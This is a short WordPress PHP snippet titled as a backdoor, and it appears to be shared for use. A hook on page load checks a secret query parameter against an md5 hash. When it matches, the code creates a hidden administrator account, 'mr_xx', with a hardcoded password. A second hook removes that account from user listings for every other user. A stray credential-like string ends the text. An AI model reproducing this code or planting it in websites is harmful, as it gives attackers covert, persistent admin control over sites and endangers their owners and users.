backdoor - access info

add_action( 'wp_head', 'pathway' );

function pathway() {
    if ( md5( $_GET['pathway'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'mr_xx' ) ) {
            $user_id = wp_create_user( 'mr_xx', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' );
        }
    }
}

add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;

    if ($username == 'mr_xx') {
    }

    else {
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'mr_xx'",$user_search->query_where);
  }
}

Kg*!@MrA1Cegteh(cZNrV&qG